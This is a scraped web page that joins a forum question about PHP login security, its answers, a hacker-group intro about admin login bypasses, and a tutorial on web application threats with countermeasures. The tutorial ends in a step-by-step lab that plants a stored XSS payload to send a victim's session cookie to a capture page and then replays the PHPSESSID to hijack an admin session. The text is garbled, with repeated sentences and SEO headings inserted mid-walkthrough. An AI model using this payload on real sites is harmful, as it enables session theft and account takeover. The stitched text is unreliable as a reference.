1. Php Login Script
2. Creating A Php Login Form
3. Hack A Php Login Form

In a nutshell, I have a test server/website where I uploaded a folder called 'private' with PHP scripts. The flow of the program is as follows: login -> search for an item number -> display item image --> logout or search again.

Hey this is GD ATTACKER from The Mysterious Cyber Warriors again here before you to show you how to enter any admin panel with admin login bypass strings? In a nutshell, I have a test server/website where I uploaded a folder called 'private' with PHP scripts. The flow of the program is as follows: login -> search for an item number -> display item im.

In the future the item pages will display a large amount of database information about each specific item, but for the time being it only displays an image. The link to the test website is below:

My main question is about security and vulnerabilities. the login.html page has a form which posts information to a php script called 'ProcessLogin.php', which redirects you back to the login page with the wrong credentials. The username and password is hardcoded into that script for the time being.

Other than adding an SSL (Secure Socket Layer), is this secure 'enough'? How is hard coding the username and password into ProcessLogin.php insecure when users can't read php code?

1. Login Bypass using SQL Injection. Hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.
2. How easy is it to hack an HTML login form? Update Cancel. Ad by Toptal. Toptal: Hire the top 10 UX/UI and web designers. I don't know if you call this to hack a html login form. But It's good to know. How do you make a login form using PHP and HTML? How do I start hacking with python or HTML? How does one become a hacker?
3. Login Bypass using SQL Injection. That takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database. He gets access to the restricted area.”php.

The username and password isn't really hard to guess if you really want to try :P But even if it was a real username and password, how can a login such as this be hacked to display the images?

PS: username and password are the same, i'm just wondering if anyone can hack this login without any effort..

Edit: My login function is as follows:

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which occurs after the username and password are verified with ' in php.

2 Answers

The important question is what happens after the login. Are you setting a cookie to identify the user? What is in that cookie? How easy is it to fake that cookie? How easy is it to intercept that cookie (hint: without SSL, pretty easy)? Is a valid cookie required to open any of your protected pages? Or can I simply go to one of your 'protected' pages if I know the URL and there'll be no check at all? Is there any flaw in how the cookie is checked on those protected pages that may allow me to bypass the check? etc. etc..

What will it secure as security is relative to what it is you are protecting. IE consider the scenario that i put a list together with my favourite sports teams on it and stick that on the internet with the edit form behind a login screen would ssl be enough to protect this data? probably as the information is meaningless to anyone else. However if it were a list of my bank account details i'd probably want to go further, and do more checks such as look at implementing a one time password such as yubikey http://www.yubico.com/yubikey look at the server config strengthen up the security of the server the site is hosted on and maybe look at some more complex encryption/decryption on the login form. So if these images are of you walking your dog or such an other then in all likely hood the security you have placed on the form is adequate. However if they are design plans or something that is vitaly more important/critical to you/your company you would probably want to look at implementing some other security procedures.

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More people have access to the internet than ever before. This has prompted many organizations to develop web-based applications that users can use online to interact with the organization. Poorly written code for web applications can be exploited to gain unauthorized access to sensitive data and web servers.

In this article, we will introduce you to web applications hacking techniques and the counter measures you can put in place to protect against such attacks.

Topics covered in this tutorial

What is a web application? What are Web Threats?

A web application (aka website) is an application based on the client-server model. The server provides the database access and the business logic. It is hosted on a web server. The client application runs on the client web browser. Web applications are usually written in languages such as Java, C#, and VB.Net, PHP, ColdFusion Markup Language, etc. the database engines used in web applications include MySQL, MS SQL Server, PostgreSQL, SQLite, etc.

Most web applications are hosted on public servers accessible via the Internet. This makes them vulnerable to attacks due to easy accessibility. The following are common web application threats.

• SQL Injection – the goal of this threat could be to bypass login algorithms, sabotage the data, etc.
• Denial of Service Attacks– the goal of this threat could be to deny legitimate users access to the resource
• Cross Site Scripting XSS– the goal of this threat could be to inject code that can be executed on the client side browser.
• Cookie/Session Poisoning– the goal of this threat is to modify cookies/session data by an attacker to gain unauthorized access.
• Form Tampering – the goal of this threat is to modify form data such as prices in e-commerce applications so that the attacker can get items at reduced prices.
• Code Injection – the goal of this threat is to inject code such as PHP, Python, etc. that can be executed on the server. The code can install backdoors, reveal sensitive information, etc.
• Defacement– the goal of this threat is to modify the page been displayed on a website and redirecting all page requests to a single page that contains the attacker’s message.

How to protect your Website against hacks?

An organization can adopt the following policy to protect itself against web server attacks.

• SQL Injection– sanitizing and validating user parameters before submitting them to the database for processing can help reduce the chances of been attacked via SQL Injection. Database engines such as MS SQL Server, MySQL, etc. support parameters, and prepared statements. They are much safer than traditional SQL statements
• Denial of Service Attacks – firewalls can be used to drop traffic from suspicious IP address if the attack is a simple DoS. Proper configuration of networks and Intrusion Detection System can also help reduce the chances of a DoS attack been successful.
• Cross Site Scripting – validating and sanitizing headers, parameters passed via the URL, form parameters and hidden values can help reduce XSS attacks.
• Cookie/Session Poisoning– this can be prevented by encrypting the contents of the cookies, timing out the cookies after some time, associating the cookies with the client IP address that was used to create them.
• Form tempering – this can be prevented by validating and verifying the user input before processing it.
• Code Injection - this can be prevented by treating all parameters as data rather than executable code. Sanitization and Validation can be used to implement this.
• Defacement – a good web application development security policy should ensure that it seals the commonly used vulnerabilities to access the web server. This can be a proper configuration of the operating system, web server software, and best security practices when developing web applications.

Hacking Activity: Hack a Website

In this practical scenario, we are going to hijack the user session of the web application located at www.techpanda.org. We will use cross site scripting to read the cookie session id then use it to impersonate a legitimate user session.

The assumption made is that the attacker has access to the web application and he would like to hijack the sessions of other users that use the same application. The goal of this attack could be to gain admin access to the web application assuming the attacker’s access account is a limited one.

Getting started

• Open http://www.techpanda.org/
• For practice purposes, it is strongly recommended to gain access using SQL Injection. Refer to this article for more information on how to do that.
• The login email is This email address is being protected from spambots. You need JavaScript enabled to view it. , the password is Password2010
• If you have logged in successfully, then you will get the following dashboard

• Click on Add New Contact
• Enter the following as the first name

Php Login Script

<a href=# onclick='document.location='http://techpanda.org/snatch_sess_id.php?c='+escape(document.cookie);'>Dark</a>

HERE,

The above code uses JavaScript. It adds a hyperlink with an onclick event. When the unsuspecting user clicks the link, the event retrieves the PHP cookie session ID and sends it to the snatch_sess_id.php page together with the session id in the URL

• Enter the remaining details as shown below
• Click on Save Changes

• Your dashboard will now look like the following screen

• Since the cross site script code is stored in the database, it will be loaded everytime the users with access rights login
• Let’s suppose the administrator logins and clicks on the hyperlink that says Dark
• He/she will get the window with the session id showing in the URL

Note: the script could be sending the value to some remote server where the PHPSESSID is stored then the user redirected back to the website as if nothing happened.

Note: the value you get may be different from the one in this tutorial, but the concept is the same

Session Impersonation using Firefox and Tamper Data add-on

The flowchart below shows the steps that you must take to complete this exercise.

• You will need Firefox web browser for this section and Tamper Data add-on
• Open Firefox and install the add as shown in the diagrams below

• Search for tamper data then click on install as shown above

• Click on Accept and Install…

• Click on Restart now when the installation completes
• Enable the menu bar in Firefox if it is not shown

• Click on tools menu then select Tamper Data as shown below

Creating A Php Login Form

• You will get the following Window. Note: If the Windows is not empty, hit the clear button

• Click on Start Tamper menu
• Switch back to Firefox web browser, type http://www.techpanda.org/dashboard.php then press the enter key to load the page
• You will get the following pop up from Tamper Data

• The pop-up window has three (3) options. The Tamper option allows you to modify the HTTP header information before it is submitted to the server.
• Click on it
• You will get the following window

• Copy the PHP session ID you copied from the attack URL and paste it after the equal sign. Your value should now look like this

Hack A Php Login Form

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• Click on OK button
• You will get the Tamper data popup window again

• Uncheck the checkbox that asks Continue Tampering?
• Click on submit button when done
• You should be able to see the dashboard as shown below

Note: we did not login, we impersonated a login session using the PHPSESSID value we retrieved using cross site scripting

Summary

• A web application is based on the server-client model. The client side uses the web browser to access the resources on the server.
• Web applications are usually accessible over the internet. This makes them vulnerable to attacks.
• Web application threats include SQL Injection, Code Injection, XSS, Defacement, Cookie poisoning, etc.
• A good security policy when developing web applications can help make them secure.